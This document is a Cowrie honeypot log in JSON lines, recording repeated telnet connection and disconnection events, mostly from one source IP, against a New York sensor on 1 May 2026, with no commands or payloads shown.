{"eventid":"cowrie.session.closed","duration":30.776761770248413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:31.112092Z","src_ip":"161.97.181.240","session":"59d61e19522d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.689537048339844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:32.000859Z","src_ip":"161.97.181.240","session":"cf280ec817e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.967047214508057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:32.160387Z","src_ip":"161.97.181.240","session":"f77eee7c29ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":57614,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a0a12962048","protocol":"telnet","message":"New connection: 161.97.181.240:57614 (10.17.0.5:23) [session: 1a0a12962048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:32.267756Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":54596,"dst_ip":"10.17.0.5","dst_port":23,"session":"a81b49ee88ee","protocol":"telnet","message":"New connection: 45.63.42.31:54596 (10.17.0.5:23) [session: a81b49ee88ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:32.825712Z"}
{"eventid":"cowrie.session.closed","duration":31.05880570411682,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:32.991573Z","src_ip":"161.97.181.240","session":"d4d1a1612a17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38170,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dc88a9eefc4","protocol":"telnet","message":"New connection: 161.97.181.240:38170 (10.17.0.5:23) [session: 1dc88a9eefc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:33.808947Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":39798,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9f2f762f43d","protocol":"telnet","message":"New connection: 161.97.181.240:39798 (10.17.0.5:23) [session: b9f2f762f43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:34.303713Z"}
{"eventid":"cowrie.session.closed","duration":31.331248998641968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:34.680271Z","src_ip":"161.97.181.240","session":"07b7bd94ef96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":42264,"dst_ip":"10.17.0.5","dst_port":23,"session":"360a02792b37","protocol":"telnet","message":"New connection: 161.97.181.240:42264 (10.17.0.5:23) [session: 360a02792b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:34.991438Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":42466,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1599dc6ff4a","protocol":"telnet","message":"New connection: 161.97.181.240:42466 (10.17.0.5:23) [session: d1599dc6ff4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:35.051306Z"}
{"eventid":"cowrie.session.closed","duration":30.426995515823364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:35.056989Z","src_ip":"45.14.224.154","session":"625b07e73817","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":43124,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ea1cf854eae","protocol":"telnet","message":"New connection: 161.97.181.240:43124 (10.17.0.5:23) [session: 9ea1cf854eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:35.242101Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44262,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce24bd8aa71b","protocol":"telnet","message":"New connection: 161.97.181.240:44262 (10.17.0.5:23) [session: ce24bd8aa71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:35.591677Z"}
{"eventid":"cowrie.session.closed","duration":31.075678825378418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:35.991530Z","src_ip":"161.97.181.240","session":"1180e75dd546","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79919457435608,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:35.995641Z","src_ip":"161.97.181.240","session":"79239119b40b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84684705734253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:36.163993Z","src_ip":"161.97.181.240","session":"ed49c36e00aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":46590,"dst_ip":"10.17.0.5","dst_port":23,"session":"499d294ad614","protocol":"telnet","message":"New connection: 161.97.181.240:46590 (10.17.0.5:23) [session: 499d294ad614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:36.239644Z"}
{"eventid":"cowrie.session.closed","duration":31.304987907409668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:36.368238Z","src_ip":"161.97.181.240","session":"db1d2b924e84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39011287689209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:37.483733Z","src_ip":"161.97.181.240","session":"18c335a14eab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":50776,"dst_ip":"10.17.0.5","dst_port":23,"session":"3547f6e229d5","protocol":"telnet","message":"New connection: 161.97.181.240:50776 (10.17.0.5:23) [session: 3547f6e229d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:37.568770Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":51126,"dst_ip":"10.17.0.5","dst_port":23,"session":"516918eecbbd","protocol":"telnet","message":"New connection: 161.97.181.240:51126 (10.17.0.5:23) [session: 516918eecbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:37.665097Z"}
{"eventid":"cowrie.session.closed","duration":30.70731210708618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:38.069265Z","src_ip":"161.97.181.240","session":"80b473a8bd35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52680,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e0112174556","protocol":"telnet","message":"New connection: 161.97.181.240:52680 (10.17.0.5:23) [session: 3e0112174556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:38.192178Z"}
{"eventid":"cowrie.session.closed","duration":35.654438972473145,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:38.405147Z","src_ip":"103.115.172.252","session":"5833537b60e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":53814,"dst_ip":"10.17.0.5","dst_port":23,"session":"e79cc99e92ce","protocol":"telnet","message":"New connection: 161.97.181.240:53814 (10.17.0.5:23) [session: e79cc99e92ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:38.533390Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":54594,"dst_ip":"10.17.0.5","dst_port":23,"session":"430d91860478","protocol":"telnet","message":"New connection: 161.97.181.240:54594 (10.17.0.5:23) [session: 430d91860478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:39.820087Z"}
{"eventid":"cowrie.session.closed","duration":31.18795084953308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:40.169847Z","src_ip":"161.97.181.240","session":"d8b8e65bd034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":60664,"dst_ip":"10.17.0.5","dst_port":23,"session":"a77a24ced73d","protocol":"telnet","message":"New connection: 161.97.181.240:60664 (10.17.0.5:23) [session: a77a24ced73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:40.590709Z"}
{"eventid":"cowrie.session.closed","duration":35.849284172058105,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:40.615347Z","src_ip":"103.115.172.252","session":"f028e9977bb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.108086824417114,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:40.880727Z","src_ip":"103.115.172.252","session":"fcaf55a0d49e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43980,"dst_ip":"10.17.0.5","dst_port":23,"session":"15cf6df922cc","protocol":"telnet","message":"New connection: 45.63.42.31:43980 (10.17.0.5:23) [session: 15cf6df922cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:40.901530Z"}
{"eventid":"cowrie.session.closed","duration":30.124325275421143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:41.060723Z","src_ip":"45.14.224.154","session":"8f5d3a78c496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181665658950806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:41.674201Z","src_ip":"161.97.181.240","session":"9e96155b42b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":36206,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdd43029c583","protocol":"telnet","message":"New connection: 161.97.181.240:36206 (10.17.0.5:23) [session: cdd43029c583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:41.744275Z"}
{"eventid":"cowrie.session.closed","duration":30.894237518310547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:42.001992Z","src_ip":"161.97.181.240","session":"a510696dfbfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":36970,"dst_ip":"10.17.0.5","dst_port":23,"session":"169e3a07af24","protocol":"telnet","message":"New connection: 161.97.181.240:36970 (10.17.0.5:23) [session: 169e3a07af24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:42.032906Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38808,"dst_ip":"10.17.0.5","dst_port":23,"session":"e42c9278918a","protocol":"telnet","message":"New connection: 161.97.181.240:38808 (10.17.0.5:23) [session: e42c9278918a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:42.550001Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":39178,"dst_ip":"10.17.0.5","dst_port":23,"session":"03c2ff0439ff","protocol":"telnet","message":"New connection: 161.97.181.240:39178 (10.17.0.5:23) [session: 03c2ff0439ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:42.697483Z"}
{"eventid":"cowrie.session.closed","duration":30.758944988250732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:43.239535Z","src_ip":"45.14.224.154","session":"0dce29bec816","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.27347922325134,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:43.336282Z","src_ip":"103.115.172.252","session":"f16196357781","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":45890,"dst_ip":"10.17.0.5","dst_port":23,"session":"49af7ad5a1f6","protocol":"telnet","message":"New connection: 161.97.181.240:45890 (10.17.0.5:23) [session: 49af7ad5a1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:44.829516Z"}
{"eventid":"cowrie.session.closed","duration":30.68971014022827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:45.077361Z","src_ip":"161.97.181.240","session":"532fec7a3359","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":52952,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e3eb90aca41","protocol":"telnet","message":"New connection: 45.63.42.31:52952 (10.17.0.5:23) [session: 1e3eb90aca41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:45.425921Z"}
{"eventid":"cowrie.session.closed","duration":36.98927402496338,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:45.923758Z","src_ip":"103.115.172.252","session":"a7f7b7e48f4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.334869623184204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:46.268686Z","src_ip":"173.198.194.106","session":"3e3ebdd3eb78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":50982,"dst_ip":"10.17.0.5","dst_port":23,"session":"91392394434f","protocol":"telnet","message":"New connection: 161.97.181.240:50982 (10.17.0.5:23) [session: 91392394434f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:46.288065Z"}
{"eventid":"cowrie.session.closed","duration":30.883577585220337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:47.010925Z","src_ip":"161.97.181.240","session":"847b1d1b3dd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190514087677002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:47.969784Z","src_ip":"161.97.181.240","session":"77a42fcc3ff4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":59766,"dst_ip":"10.17.0.5","dst_port":23,"session":"d26ff46c35bf","protocol":"telnet","message":"New connection: 161.97.181.240:59766 (10.17.0.5:23) [session: d26ff46c35bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:48.955716Z"}
{"eventid":"cowrie.session.closed","duration":30.523635625839233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:49.066002Z","src_ip":"161.97.181.240","session":"acd6b50183cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888103485107422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:49.629728Z","src_ip":"161.97.181.240","session":"66a2d8b8415d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76995325088501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:50.002671Z","src_ip":"161.97.181.240","session":"4d8e3c07a507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38473868370056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:50.025759Z","src_ip":"161.97.181.240","session":"dc2c33e3c5c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":36282,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a57e3b8208","protocol":"telnet","message":"New connection: 161.97.181.240:36282 (10.17.0.5:23) [session: 57a57e3b8208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:50.312749Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38326,"dst_ip":"10.17.0.5","dst_port":23,"session":"478fc521f626","protocol":"telnet","message":"New connection: 161.97.181.240:38326 (10.17.0.5:23) [session: 478fc521f626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:50.865497Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":39328,"dst_ip":"10.17.0.5","dst_port":23,"session":"331cc57a1bba","protocol":"telnet","message":"New connection: 161.97.181.240:39328 (10.17.0.5:23) [session: 331cc57a1bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:51.136140Z"}
{"eventid":"cowrie.session.closed","duration":30.92410135269165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:51.191959Z","src_ip":"161.97.181.240","session":"6995c77b77b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.774197578430176,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:51.930358Z","src_ip":"45.63.42.31","session":"05d278fa8c12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.0.81.38","src_port":37038,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff6b9f89933","protocol":"telnet","message":"New connection: 190.0.81.38:37038 (10.17.0.5:23) [session: 3ff6b9f89933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:52.326926Z"}
{"eventid":"cowrie.session.closed","duration":31.200355529785156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:52.456440Z","src_ip":"161.97.181.240","session":"356dc64727bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00092935562134,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:52.910759Z","src_ip":"46.139.57.28","session":"77a3533a6c65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.228798389434814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:53.016531Z","src_ip":"161.97.181.240","session":"895452a1df2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":46996,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d4cfc0d089e","protocol":"telnet","message":"New connection: 161.97.181.240:46996 (10.17.0.5:23) [session: 3d4cfc0d089e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:53.464026Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.139.57.28","src_port":52366,"dst_ip":"159.203.135.109","dst_port":23,"session":"af38d028ce80","protocol":"telnet","message":"New connection: 46.139.57.28:52366 (159.203.135.109:23) [session: af38d028ce80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:53.524376Z"}
{"eventid":"cowrie.session.closed","duration":31.005000352859497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:54.050699Z","src_ip":"161.97.181.240","session":"55cbc4bd903d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":57942,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b6d604f3dfd","protocol":"telnet","message":"New connection: 161.97.181.240:57942 (10.17.0.5:23) [session: 0b6d604f3dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:56.694724Z"}
{"eventid":"cowrie.session.closed","duration":30.523892164230347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:58.096341Z","src_ip":"161.97.181.240","session":"3a53c0d110b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071559190750122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:58.290040Z","src_ip":"161.97.181.240","session":"f7ce7d511016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":35828,"dst_ip":"10.17.0.5","dst_port":23,"session":"960b65f8b128","protocol":"telnet","message":"New connection: 161.97.181.240:35828 (10.17.0.5:23) [session: 960b65f8b128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:58.727760Z"}
{"eventid":"cowrie.session.closed","duration":31.13584876060486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:57:59.037167Z","src_ip":"161.97.181.240","session":"413fc37a99a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.266544580459595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:00.025922Z","src_ip":"161.97.181.240","session":"b557d03a3325","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.214143991470337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:01.151324Z","src_ip":"45.14.224.154","session":"ada5a981358b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44414,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2a745b9f1ec","protocol":"telnet","message":"New connection: 161.97.181.240:44414 (10.17.0.5:23) [session: d2a745b9f1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:01.498173Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":45896,"dst_ip":"10.17.0.5","dst_port":23,"session":"1766917602d1","protocol":"telnet","message":"New connection: 161.97.181.240:45896 (10.17.0.5:23) [session: 1766917602d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:01.908038Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":47046,"dst_ip":"10.17.0.5","dst_port":23,"session":"a443c919af53","protocol":"telnet","message":"New connection: 161.97.181.240:47046 (10.17.0.5:23) [session: a443c919af53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:02.263554Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":47826,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d5987314b5b","protocol":"telnet","message":"New connection: 161.97.181.240:47826 (10.17.0.5:23) [session: 9d5987314b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:02.510365Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":46324,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dbf92fed059","protocol":"telnet","message":"New connection: 161.97.181.240:46324 (10.17.0.5:23) [session: 0dbf92fed059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:03.039405Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":49876,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f86eedb550","protocol":"telnet","message":"New connection: 161.97.181.240:49876 (10.17.0.5:23) [session: 82f86eedb550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:03.131540Z"}
{"eventid":"cowrie.session.closed","duration":31.140976667404175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:03.408616Z","src_ip":"161.97.181.240","session":"1a0a12962048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52366,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cf94eccabff","protocol":"telnet","message":"New connection: 161.97.181.240:52366 (10.17.0.5:23) [session: 0cf94eccabff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:03.773881Z"}
{"eventid":"cowrie.session.closed","duration":30.22573161125183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:58:04.034543Z","src_ip":"161.97.181.240","session":"1dc88a9eefc4","protocol":"telnet"}
